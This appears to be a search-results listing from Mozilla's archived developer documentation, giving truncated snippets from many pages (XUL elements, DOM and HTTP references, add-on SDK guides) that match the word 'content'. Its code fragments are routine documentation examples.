Splitters - Archive of obsolete content
splitter example an example would be helpful here: example 1 : source view <hbox flex="1"> <iframe id="
content-1" width="60" height="20" src="w1.html"/> <splitter collapse="before" resizeafter="farthest"> <grippy/> </splitter> <iframe id="
content-2" width="60" height="20" src="w2.html"/> <iframe id="
content-3" width="60" height="20" src="w3.html"/> <iframe id="
content-4" width="60" height="20" src="w4.html"/> </hbox> here, four iframes have been created and a splitter has been placed in-...
...the
content of the frame is contained in a file called 'results.html'.
...this results in the
content of the frame growing to any size.
XULBrowserWindow - Archive of obsolete content
you may also wish to refer to the implementation of xulbrowserwindow in browser/base/
content/browser.js.
... method overview boolean hidechromeforlocation(in string alocation); attributes attribute type description in
contentwhitelist string[] an array of url strings for which chrome is automatically hidden.
...by default, chrome is hidden for about:addons and any other pages in the in
content whitelist.
Accessibility/XUL Accessibility Reference - Archive of obsolete content
="butwrap2" value="<!--this-->" /> <label control="butwrap2" value="is" /> <label control="butwrap2" value="a" /> <label control="butwrap2" value="button" /> </button> <button image="images/img.xbm" tooltiptext="<!--button text-->"/> note that in the third example, only the first label is read browser jaws 7.10 issues to use a browser element with html, the type="
content" attribute should be specified.
...we believe they are using the window class to determine that it is
content rather than dialog, but does not support
content mode for xul.
... see tree treerow see tree elements that do not expose anything to screen readers/have no discovered accessibility issues yet: arrowscrollbox bbox box grippy hbox menuseparator overlay page script spacer splitter stringbundle stringbundleset vbox window elements not processed yet: action binding bindings broadcaster broadcasterset conditions
content dialog dialogheader editor listcell member observes preference preferences prefpane prefwindow resizer richlistbox richlistitem resizer rule scrollbar scrollbox scrollcorner separator template textnode titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip treeseparator trip...
listitem - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
menuitem - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
menuseparator - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
notification - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
radio - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
radiogroup - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
richlistitem - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
scale - Archive of obsolete content
for user editable menulist elements, the
contents, as visible to the user, are read and set using the menulist.value syntax.
... for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the
contents displayed to the user.
...for textbox and user editable menulist elements, the
contents, as visible to the user, are read and set using the textbox.value and menulist.value syntax.
scrollbox - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a box that has additional functions that can be used to scroll the
content.
...if their container doesn't give enough room to hold them (geometrically) what happens depends on the enclosing elements; often the
content is just clipped off on the bottom or right (depending on what's too big to fit).
... on "/> <label value="03 this continent, a new nation, "/> <label value="04 conceived in liberty, and "/> <label value="05 dedicated to the proposition "/> <label value="06 that all men are created equal."/> </vbox> the next bunch of labels is similar, but if the container doesn't give enough room for it, scroll bars will sprout out of nowhere and allow the user to scroll around the big
content in the small view space.
textbox - Archive of obsolete content
--> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div
contenteditable="true" spellcheck="true">i am some
content</div> <!-- spellcheck nothing!
... --> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div
contenteditable="true" spellcheck="false">i am some
content</div> you can use spellcheck on input, textarea, and
contenteditable elements.
... clickselectsall type: boolean if set to true, the
contents of the textbox are selected when focused; otherwise, the cursor is left unchanged.
treeitem - Archive of obsolete content
in a template condition, you should use a treeitem instead of a
content element when the dont-build-
content flag is specified.
... set the uri attribute to the variable name to bind to a
content node during matching.
... uri type: string for template-generated
content, the attribute should be placed on the element where
content generation should begin.
MacFAQ - Archive of obsolete content
for command-line work, you would call on: /applications/(vendor)/(name).app/
contents/macos/xulrunner ui notes menus to enable your application quit command to work with the application menu (the one to the right of the blue apple), you need to give your quit menu item an id of "menu_filequititem".
... taking advantage of the core code "openurl" from "nscommandlineservicemac.cpp", you'll see that it looks for "browser.chromeurl" before defaulting to navigator.xul, and this is called when an xulrunner app is already running, so: create a default preference of "browser.chromeurl" that points to your new "hiddenwindow" as such: "chrome://myxul/
content/hiddenwindow.xul" next take the code below and drop it in, to create the hiddenwindow.xul (note: the debug function and nsicommandline try/catch can be removed, all you need is the window.arguments[0]) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="...
...0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <script type="application/javascript" src="chrome://global/
content/nsusersettings.js" /> <script><![cdata[ function debug(alogstring) { var mconsoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) mconsoleservice.logstringmessage("myxul: " + alogstring + "\n"); } function checkotherwindows() { var singletonwindowtype = nspreferences.copyunicharpref("toolkit.singletonwindowtype"); var windowmediator = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var win = windo...
Mozilla release FAQ - Archive of obsolete content
warning: the
content of this article may be out of date.
...if you're getting mail
contents of one of the mozilla newsgroups, it's likely because you subscribed (or someone subscribed you) to the mailing list form of those groups.
...for the second case, go to the mozilla community section to unsubscribe original document information author(s): pat gunn last updated date: may 28, 2005 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
NPAPI plugin reference - Archive of obsolete content
npn_geturlnotify requests creation of a new stream with the
contents of the specified url; gets notification of the result.
... npn_invalidaterect invalidates the specified portion of the plugin's drawing area, adding it to the region that needs to be redrawn when the plugin next repaints its
contents.
... nprect represents a rectangular area of a plug-in's
content area.
Common Firefox theme issues and solutions - Archive of obsolete content
to fix this issue you need to copy the following file from the latest version of firefox to your theme: chrome://global/
content/aboutmemory.css.
...ltr-middle.png") 2 13 2 13 stretch; /* for ff13- */ -moz-border-image: url("chrome://browser/skin/devtools/breadcrumbs/ltr-middle.png") 2 13 2 13 fill stretch; /* for ff14+ */ } responsive design view responsive design view is missing background for unused area the responsive design view tool (tools > web developer > responsive design view) needs background styling for the unused area of the
content window.
...if you are using the extension console² you can easily filter out
content related messages to see just chrome issues.
Using Web Standards in your Web Pages - Archive of obsolete content
the problem lies with designers and developers chained to the browser-quirk-oriented markup of the 1990s-often because they don't realize it is possible to support current standards while accommodating old browsers." -web standards project this article provides an overview of the process for upgrading the
content of your web pages to conform to the world wide web consortium (w3c) web standards.
...
contents benefits of using web standards making your page using web standards - how to using the w3c dom developing cross browser and cross platform pages using xmlhttprequest summary of changes references original document information author(s): mike cowperthwaite, marcio galli, jim ley, ian oeschger, simon paquet, gérard talbot last updated date: may 29, 2008 copyright information: po...
...rtions of this
content are © 1998–2008 by individual mozilla.org contributors;
content available under a creative commons license | details.
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
note: since firefox 58, this pseudo-class is no longer available to web
content — it is only available internally (e.g.
... example html
content <p id="defaultthemes"> this paragraph should have a green background with luna/royale/zune/aero windows themes and red with other themes.
...</p> <p id="notsupported">theme detection is not supported.</p> css
content #defaultthemes, #nondefaultthemes { background-color: #ffa0a0; } #defaultthemes:-moz-system-metric(windows-default-theme) { background-color: #a0ffa0; } #nondefaultthemes:not(-moz-system-metric(windows-default-theme)) { background-color: #a0ffa0; } #notsupported:-moz-system-metric(windows-default-theme), #notsupported:not(:-moz-system-metric(windows-default-theme)) { display: none; } specifications not part of any specification.
Processing XML with E4X - Archive of obsolete content
it is possible to interpolate variables into an xml literal to create an element name (or to create
content).
... it is not possible to directly interpolate variables amidst other literal (or variable) attribute
content, however (e.g., bar="a{var1}{var2}").
...} working with xml objects xml objects provide a number of methods for inspecting and updating their
contents.
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
this code is simple in that it updates the innerhtml of the logging div with the
contents of a text file.
... the
contents of this file are obtained through the file i/o capabilities exposed by jaxer which is what we'll examine next.
...sor if( validatecomments( name, email, message ) ) { formprocessor( name, email, message ); // update the logger with the most recent entry document.getelementbyid( "out-logger" ).innerhtml += "name: " + name + "<br/>email: " + email + "<br/>message: " + message + "<br/><br/>"; } else { ext.msg.alert( "error", "please enter the required fields" ); } } </script> <!-- processes the form
contents --> <script runat="server"> function formprocessor( name, email, message ) { // perform the same validation of the data server-side if( !validatecomments( name, email, message ) ) { throw "incomplete data was submitted."; } // assemble the string var s = "name: " + name + "<br/>" + "email: " + email + "<br/>" + "message: " + message + "<br/><br/>"; // append the entry to the log file ...
background-size - Archive of obsolete content
user:jürgen jeka 2009-08-09 ok, here's a page with both rules - the css is derived from the code on the page here, this is what it looks like in 3.6a2pre on linux, the background image appears on the whole page, and then again behind the main
content.
...since you have a 8px default margin on <body> and your <body>'s
content is smaller than the viewport's height, you see what you see.
... styles like this should work: body { border:0; margin:0; padding:0.6em } /* or for less
content, if body is small */ html, body { height:100%; } body { border:0; margin:0; padding:0.6em } furthermore, you may simplify things a bit if you apply the background and border-image styles to <html> rather than <body>.
Reference - Archive of obsolete content
but is there a way to get
content of jsref-1.5 or other documents as a tarball?
... unfortunately there is not an [easy] method to download
content/packages of
content off of devmo for 'local' browsing/viewing/printing, yet.
... imo, it's useful to have separates lists for global functions, global constructors, and other global properties on the
contents page.--nickolay 19:10, 7 march 2007 (pst) ...
XForms Custom Controls Examples - Archive of obsolete content
output showing images <binding id="output-image" extends="chrome://xforms/
content/xforms.xml#xformswidget-base"> <
content> <html:div> <html:img anonid="
content"/> </html:div> </
content> <implementation implements="nsixformsuiwidget"> <method name="refresh"> <body> var img = document.getanonymouselementbyattribute(this, "anonid", "
content"); img.setattribute("src", this.stringvalue); return true; </body> </method> </implementation> </binding> output showing xhtml <binding id="output-xhtml" extends="chrome://xforms/
content/xforms-xhtml.xml#xformswidget-o...
...utput"> <
content> <children includes="label"/> <xhtml:div class="xf-value" anonid="
content"></xhtml:div> <children/> </
content> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!this._domparser) this._domparser = new domparser(); return this._domparser; </getter> </property> <method name="refresh"> <body> // get new value, parse, and import it.
... var val = this.stringvalue; var newdom = this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(newdom.firstchild, true); // get
content node, clean it, and update it var
content = document.getanonymouselementbyattribute(this, "anonid", "
content"); if (
content.firstchild) {
content.removechild(
content.firstchild); }
content.appendchild(impnode); return true; </body> </method> </implementation> </binding> ...
XForms Group Element - Archive of obsolete content
all
content elements (e.g.
... core form controls, groups, switches, repeats and host language
content) within a non-relevant group are handled as non-relevant.
... if a group is non-relevant, then the rendering approach used to signify non-relevance is applied to the entire
content of the group.
XForms Label Element - Archive of obsolete content
single-node binding linking src - url of a document whose
contents will be retrieved by the label element and used to provide label text for the containing form control.
... type restrictions the label element can be bound to any simple
content.
... representations the xforms label element is represented by the text retrieved from instance data, a document or the label element's own inline
content.
Archived open Web documentation - Archive of obsolete content
rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web
content.
... browser feature detection an experimental approach to discovering degree of support for standards css obsolete css features displaying notifications (deprecated) firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web
content, using the standard notification system provided by the operating system.
... standards-compliant authoring tools creating cross-browser code upfront will save you lots of time quality testing your web
content.
Styling Abbreviations and Acronyms - Archive of obsolete content
this is to be encouraged, and according to guideline 4 of the web
content accessibility guidelines, both elements should be given a title attribute to improve "readability of the web for all people, including those with learning disabilities, cognitive disabilities, or people who are deaf." the problem authors have discovered that any abbr or acronym that has a title attribute is rendered with a dotted underline, per the following rule in resource://gre-resources/htm...
...in mozilla, placing the mouse pointer over the element and leaving it for a moment will cause the
contents of the title attribute to appear as a tooltip next to the mouse pointer.
... related links web
content accessibility guidelines 1.0 original document information author(s): eric a.
Windows Media in Netscape - Archive of obsolete content
a good illustration of the use of this non-standard script element syntax is in creating closed captioning of media
content.
...fortunately, windows media player also fires a scriptcommand() event for closed captioning, which means
content may update the caption manually with a small piece of javascript.
...in the case of close captioning media
content, the player api player.closedcaption.captioningid = "captext"; is not supported, and the workaround is to capture events fired by the media player in script using script for event.
HTMLIFrameElement.getContentDimensions()
the get
contentdimensions() method of the htmliframeelement interface retrieves the x and y dimensions of the
content window.
... syntax var instanceofdomrequest = instanceofhtmliframeelement.get
contentdimensions(); returns a domrequest for handling the dimensions request.
... examples var browser = document.queryselector('iframe'); var request = browser.get
contentdimensions(); request.onsuccess = function() { console.log("page size:", request.result.width + "x" + request.result.height); } request.onerror = function() { console.log("download error"); } specification not part of any specification.
Mozilla Content Localized in Your Language
the
content here should be what you and your localization team have decided, together, to follow when localizing mozilla products and web sites.
...all we ask is that you name this page according to this example, "mozilla
content in spanish (es-mx)" and add your locale code tag at the bottom.
...localizers can assume that source
content reaches 2/3 of the total available line space.
Creating localizable web content
text
content check that the text is factually correct for an international audience (e.g., mentions of en-us specific product pieces like specific search engines or dictionary should be adapted) look for strings that are likely hard to translate because they are unclear, use play on words or colloquialisms.
...e.g.: a new page is announced with only 100 words but it is actually
content added to an existing page in english.
...as such, they should be perceived as an essential part of the
content and should be localized.
Feed content access API
itemarray.queryelementat(i, components.interfaces.nsifeedentry); if (theentry) { theurl = doc.write('<b><a href="' + theentry.link.resolve("") + '">' + theentry.title.text + '</a></b><br>'); if (theentry.summary) { info = theentry.summary.text + "<p><hr><p>"; } else { info = theentry.
content.text + "<p><hr><p>"; } doc.write("<blockquote>" + info); doc.write("</blockquote><p>"); } } } // close the document; we're done!
...we build the
contents of the document by looking at the title, link, summary, and
content properties for each item.
...this opens a new window containing the feed
contents, with each item's title a clickable link that takes you to the article itself.
nsIContentPrefCallback2
dom/interfaces/base/nsi
contentprefservice2.idlscriptable callback used by nsi
contentprefservice2 methods 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) method overview void handlecompletion(in unsigned short reason); void handleerror(in nsresult error); void handleresult(in nsi
contentpref pref); constants constant value description complete_ok 0 complete_error 1 methods handlecompletion() called when the method finishes.
...void handleresult( in nsi
contentpref pref ); parameters pref the retrieved preference.
... see also nsi
contentprefservice2 ...
Document.contentType - Web APIs
the document.
contenttype read-only property returns the mime type that the document is being rendered as.
... syntax
contenttype = document.
contenttype; value
contenttype is a read-only property.
... specifications specification status comment domthe definition of 'document.
contenttype' in that specification.
Element: msContentZoom event - Web APIs
the ms
contentzoom event fires when a user zooms the element (changes the scale of the
content).
... zoomed elements can expose their zoom level through ms
contentzoom (ie.
... bubbles unknown cancelable unknown interface unknown event handler property unknown example
contentzoom.addeventlistener("ms
contentzoom", function(e) { zoomfactor.value =
contentzoom.ms
contentzoomfactor.tofixed(2); }); specifications not part of any specification.
HTMLContentElement.select - Web APIs
the html
contentelement.select property reflects the select attribute.
... it is a domstring containing a space-separated list of css selectors that select the
content to insert in place of the <
content> element.
... syntax object.select = "cssselector cssselector ..."; example // select <h1> elements and elements with class="error" my
contentobject.select = "h1 .error"; specifications this feature is no longer defined by any standards.
HTMLIFrameElement.contentWindow - Web APIs
the
contentwindow property returns the window object of an htmliframeelement.
... example of
contentwindow var x = document.getelementsbytagname("iframe")[0].
contentwindow; //x = window.frames[0]; x.document.getelementsbytagname("body")[0].style.backgroundcolor = "blue"; // this would turn the 1st iframe in document blue.
... specifications specification status comment html living standardthe definition of 'htmliframeelement:
contentwindow' in that specification.
HTMLObjectElement.contentDocument - Web APIs
the
contentdocument read-only property of the htmlobjectelement interface returns a document representing the active document of the object element's nested browsing context, if any; otherwise null.
... syntax var document = htmlobjectelement.
contentdocument; value a document.
... specifications specification status comment html living standardthe definition of '
contentdocument' in that specification.
HTMLObjectElement.contentWindow - Web APIs
the
contentwindow read-only property of the htmlobjectelement interface returns a windowproxy representing the window proxy of the object element's nested browsing context, if any; otherwise null.
... syntax var windowproxy = htmlobjectelement.
contentwindow; value a windowproxy.
... specifications specification status comment html living standardthe definition of '
contentwindow' in that specification.
Range.cloneContents() - Web APIs
the range.clone
contents() returns a documentfragment copying the objects of type node included in the range.
... syntax documentfragment = range.clone
contents(); example range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); documentfragment = range.clone
contents(); document.body.appendchild(documentfragment); specifications specification status comment domthe definition of 'range.clone
contents()' in that specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.clone
contents()' in that specification.
Window.sizeToContent() - Web APIs
the window.sizeto
content() method sizes the window according to its
content.
... in order for it to work, the dom
content should be loaded when this function is called—for example, once the dom
contentloaded event has been thrown.
... syntax window.sizeto
content() example window.sizeto
content(); specification this feature is not part of any specification.
Content-Length - HTTP
the
content-length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
... header type entity header forbidden header name yes syntax
content-length: <length> directives <length> the length in decimal number of octets.
... specifications specification title rfc 7230, section 3.3.2:
content-length hypertext transfer protocol (http/1.1): message syntax and routing ...
Content-Range - HTTP
the
content-range response http header indicates where in a full body message a partial message belongs.
... header type response header forbidden header name no cors-safelisted response-header no syntax
content-range: <unit> <range-start>-<range-end>/<size>
content-range: <unit> <range-start>-<range-end>/*
content-range: <unit> */<size> directives <unit> the unit in which ranges are specified.
... examples
content-range: bytes 200-1000/67589 specifications specification title rfc 7233, section 4.2:
content-range hypertext transfer protocol (http/1.1): range requests ...
204 No Content - HTTP
the http 204 no
content success status response code indicates that the request has succeeded, but that the client doesn't need to go away from its current page.
... the common use case is to return 204 as a result of a put request, updating a resource, without changing the current
content of the page displayed to the user.
... status 204 no
content specifications specification title rfc 7231, section 6.3.5: 204 no
content hypertext transfer protocol (http/1.1): semantics and
content ...
Content type - SVG: Scalable Vector Graphics
some attributes allow both iris and text strings as
content.
... opacity value <opacity-value> the opacity of the color or the
content the current object is filled with, as a <number>.
... before svg 2, the more limited iri
content type was used instead, because the url specification was not standardized before.
2015 MDN Fellowship Program - Archive of obsolete content
github: nickdesaulniers twitter: @lostoracle web app performance brief project description web performance is a feature that needs to be considered from serving
content to rendering to interactivity.
...in 2015, mdn will expand the impact of this
content by developing kits of key learning materials, including such elements as code samples, videos and other elements being finalized.
addon-page - Archive of obsolete content
you can supply the
content in an html file in your add-on's "data" directory.
... for pages like this, navigational elements such as the awesome bar, search bar, or bookmarks toolbar are not usually relevant and distract from the
content you are presenting.
ui - Archive of obsolete content
con: "./icons/previous.png" }); var next = ui.actionbutton({ id: "next", label: "next", icon: "./icons/next.png" }); var play = ui.actionbutton({ id: "play", label: "play", icon: "./icons/play.png" }); var frame = ui.frame({ url: "./frame-player.html" }); var toolbar = ui.toolbar({ title: "player", items: [previous, next, play, frame] }); the toolbar appears just above the
content window: sidebar a sidebar gives you a vertical strip of space for presenting complex user interfaces.
... var ui = require("sdk/ui"); var sidebar = ui.sidebar({ id: 'my-sidebar', title: 'my sidebar', url: require("sdk/self").data.url("sidebar.html") }); it appears on the left of the
content window: ...
jpm - Archive of obsolete content
once you've supplied a value or accepted the default for these properties, you'll be shown the complete
contents of "package.json" and asked to accept it.
... here is an example: # ignore .ds_store files created by mac .ds_store # ignore any zip or xpi files *.zip *.xpi a .jpmignore file with the above
contents would ignore all zip files and .ds_store files from the xpi generated by jpm xpi.
Overview - Archive of obsolete content
the annotator uses
content scripts to build user interfaces, get user input, and examine the dom of pages loaded by the user.
... we could represent the basic interactions between the main module and the various
content scripts like this: user interface the annotator's main user interface consists of a widget and three panels.
Creating Event Targets - Archive of obsolete content
open "bookmarks.js" and replace its
contents with this code: var { emit } = require("sdk/event/core"); var { eventtarget } = require("sdk/event/target"); var { class } = require("sdk/core/heritage"); var { merge } = require("sdk/util/object"); var {cc, ci} = require("chrome"); var { xpcomutils } = require("resource://gre/modules/xpcomutils.jsm"); var bookmarkservice = cc["@mozilla.org/browser/nav-bookmarks-service;1"] ...
...for example, you can listen to the panel object's show event either by calling: mypanel.on("show", listenerfunction); or by passing the onshow option to panel's constructor: var mypanel = require("sdk/panel").panel({ onshow: listenerfunction,
contenturl: "https://en.wikipedia.org/w/index.php" }); if your class inherits from eventtarget, options like this are automatically handled for you.
Logging - Archive of obsolete content
console in
content scripts you can use the console in
content scripts as well as in your main add-on code.
... the following add-on logs the html
content of every tab the user loads, by calling console.log() inside a
content script: require("sdk/tabs").on("ready", function(tab) { tab.attach({
contentscript: "console.log(document.body.innerhtml);" }); }); console output if you are running your add-on from the command line (for example, executing jpm run or jpm test) then the console's messages appear in the command shell you used.
Unit Testing - Archive of obsolete content
now create a new file called "base64.js", and give it the following
contents: const { atob, btoa } = require("resource://gre/modules/services.jsm"); exports.atob = a => atob(a); exports.btoa = b => btoa(b); this code exports two functions, which just call the platform's btoa() and atob() functions.
...in its place create a file called test-base64.js with the following
contents: var base64 = require("../base64"); exports["test atob"] = function(assert) { assert.ok(base64.atob("agvsbg8=") == "hello", "atob works"); } exports["test btoa"] = function(assert) { assert.ok(base64.btoa("hello") == "agvsbg8=", "btoa works"); } exports["test empty string"] = function(assert) { assert.throws(function() { base64.atob(); }, ...
Boxes - Archive of obsolete content
wrapping
contents in html you can use a div as a container and when the div changes size, the
contents will wrap or adjust the layout.
...> <label value="lll"/> <label value="mmm"/> <label value="nnn"/> <label value="ooo"/> <label value="ppp"/> <label value="qqq"/> <label value="rrr"/> <label value="sss"/> <label value="ttt"/> <label value="uuu"/> <label value="vvv"/> <label value="www"/> <label value="xxx"/> <label value="yyy"/> <label value="zzz"/> </hbox> </window> images if you put image in the
contents, you should probably add align="start" attribute to the box.
Customizing the download progress bar - Archive of obsolete content
in your jar.mn file, add the following (replacing "myextension" with the name of your extension's chrome package): % overlay chrome://mozapps/
content/downloads/downloads.xul chrome://myextension/
content/downloads-overlay.xul in downloads-overlay.xul, reference the new stylesheet: <?xml version="1.0"?> <?xml-stylesheet href="chrome://myextension/skin/myextension.css" type="text/css"?> <overlay id="mydownloadoverlay" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> </overlay> in jar.mn, make sure that there is an asterisk in front of the entry for myextension.css so that it...
...in your overlay file, add a javascript file between the <overlay> and </overlay> tags: <script type="application/javascript" src="chrome://myextension/
content/downloads-overlay.js" /> the javascript file will look something like this: var mydownloadmanager = { defaultcreatedownloaditem : null, init : function fdm_init() { mydownloadmanager.defaultcreatedownloaditem = window.createdownloaditem; window.createdownloaditem = function(aattrs) { var dl = mydownloadmanager.defaultcreatedownloaditem(aattrs); if (dl) { ...
Forms related code snippets - Archive of obsolete content
date picker (before implementing it in a working environment, please read the note about the const statement compatibility) <!doctype html> <html> <head> <meta http-equiv="
content-type"
content="text/html; charset=utf-8" /> <title>datepicker example - mdn</title> <script type="text/javascript"> /*\ |*| |*| datepicker example mdndeveloper network |*| |*| https://developer.mozilla.org/docs/code_snippets/forms |*| https://developer.mozilla.org/user:fusionchess |*| |*| this snippet is released under the gnu public license, version 3 or later.
... <tr> <td id="zdp-day-1-31" class="zdp-active-cell">31</td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> <td class="zdp-empty-cell"> </td> </tr> </tbody> </table> editable <select> fields the
content of the <select> element is actually static and not editable.
Post data to window - Archive of obsolete content
createinstance(ci.nsimimeinputstream); postdata.addheader("
content-type", "application/x-www-form-urlencoded"); postdata.add
contentlength = true; postdata.setdata(stringstream); // postdata is ready to be used as apostdata argument ...
... posting data to the current tab there is a convenience method in global scope (in firefox, chrome://browser/
content/browser.js): loaduri(auri, areferrer, apostdata, aallowthirdpartyfixup); posting data to a new window window.opendialog('chrome://browser/
content', '_blank', 'all,dialog=no', auri, aflags, areferrer, apostdata); ...
Windows - Archive of obsolete content
however, window.open() returns a window object for
content, not for the browser window itself, so you should get the chrome window first.
... draggable windows to make a window draggable by clicking on the window's
contents, you can use the mousedown and mousemove events.
Enhanced Extension Installation - Archive of obsolete content
it forces its items to be located in different places on the user's disk - some vendors wish to keep all of their installed
content within c:\program files\foo\ for example.
...it locates the staged copy of the xpi file, extracts its
contents (logging file additions as it goes into {guid}/uninstall/uninstall), loads the install manifest file and copies all metadata into the appropriate datasource.
Listening to events in Firefox extensions - Archive of obsolete content
types of events there are multiple types of events that application and extension authors can use to receive notifications from <xul:browser> and <xul:tabbrowser> elements to hear about changes relating to loads of the
content contained within them.
... dom
contentloaded dispatched when the initial dom for the page is completely loaded.
Offering a context menu for form controls - Archive of obsolete content
overlay the
content the first thing to do is to establish an overlay over the chrome for the window in which you want to allow context menus on form controls.
... <overlay id="formcontrolcontextmenu-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://formcontrolcontextmenu/
content/overlay.js"/> </overlay> change the right-click behavior the overlaid code is responsible for adjusting the behavior of right-clicking on form controls.
Updating addons broken by private browsing changes - Archive of obsolete content
if your code refers to any of the following interfaces: ff 15: nsidomstoragemanager ff 16: nsitransferable ff 18: imgicache moziasyncfavicons nsifaviconservice nsiwebbrowserpersist ff 19: nsi
contentprefservice nsidownloadmanager nsidownload nsihttpauthmanager nsistricttransportsecurityservice ff 20: nsiprivatebrowsingservice nsirecentbadcertservice furthermore, if your code uses any of these common chrome apis: ff 19: saveurl saveinternal openlinkin ff 20: openbrowserwindow gprivatebrowsingui finally, if your code watches for any of these observer notifications: private-browsing pri...
... nsi
contentprefservice: getpref, setpref, haspref, hascachedpref, removepref, removegroupedprefs, removeprefsbyname, getprefs, and getprefsbyname all take a required nsiloadcontext argument to indicate the privacy status of the pref in question.
Creating a dynamic status bar extension - Archive of obsolete content
« previousnext » this article builds upon the article creating a status bar extension, which creates a static status bar panel in the firefox status bar, by dynamically updating its
content with information fetched from the web every few minutes.
...write the xul file we need a slightly more complicated xul file this time, in order to add a reference to the javascript code that will do the real work: <?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="stockwatcher-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript" src="chrome://stockwatcher/
content/stockwatcher.js"/> <!-- firefox --> <statusbar id="status-bar"> <statusbarpanel id="stockwatcher" label="loading..." tooltiptext="current value" onclick="stockwatcher.refreshinformation()" /> </statusbar> </overlay> also, notice that the definition of the status bar panel now includes a new property, onclick, which references the javascript function that will be executed whenever...
progress - Archive of obsolete content
this doesn't include headers and other overhead, but only the
content itself.
... total unsigned long (long) the total number of bytes of
content that will be transferred during the operation.
Install.js - Archive of obsolete content
it assumes the following structure of your xpi file: sampleext.xpi chrome\ sampleext.jar
content\ sampleext\ locale\ (optional) en-us\ sampleext\ ...
...install.profile_chrome : install.delayed_chrome; // register
content install.registerchrome(install.
content | installtype, jarpath, '
content/' + this.extshortname + '/'); // register locales for (var locale in this.extlocalenames) { var regpath = 'locale/' + this.extlocalenames[locale] + '/' + this.extshortname + '/'; install.registerchrome(install.locale | installtype, jarpath, regpath); } // register skins for (var skin in this.extskinn...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
the image is sitting in a line because images are, by default, inline
content.
... how inline
content is constructed in order to understand what just happened, let's take a look at the construction of a line box, the placement of images within a line box, and the placement of a line box within a table cell.
Working with BFCache - Archive of obsolete content
a: the outer nsidomwindow (the |window| object in
content js, aka the <browser>'s
contentwindow object in the parent document) stays right where it is.
...the inner nsidomwindow (the global scope object in
content js) is either thrown away when gc happens, or frozen and placed in the bfcache.
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
usage insert some html like this into your
content: <object classid="clsid:dbb2de32-61f1-4f7f-beb8-a37f5bc24ee2" width="500" height="300"> <param name="type" value="video/quicktime"/> <param name="src" value="http://www.foobar.com/some_movie.mov"/> <!-- custom arguments --> <param name="loop" value="true"/> </object> the classid attribute tells ie to create an instance of the plug-in hosting control, the ...
...the control uses this value to determine which plug-in it should create to handle the
content.
Autodial for Windows NT - Archive of obsolete content
warning: the
content of this article may be out of date.
... original document information author(s): benjamin chuang last updated date: october 2, 2002 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Bonsai - Archive of obsolete content
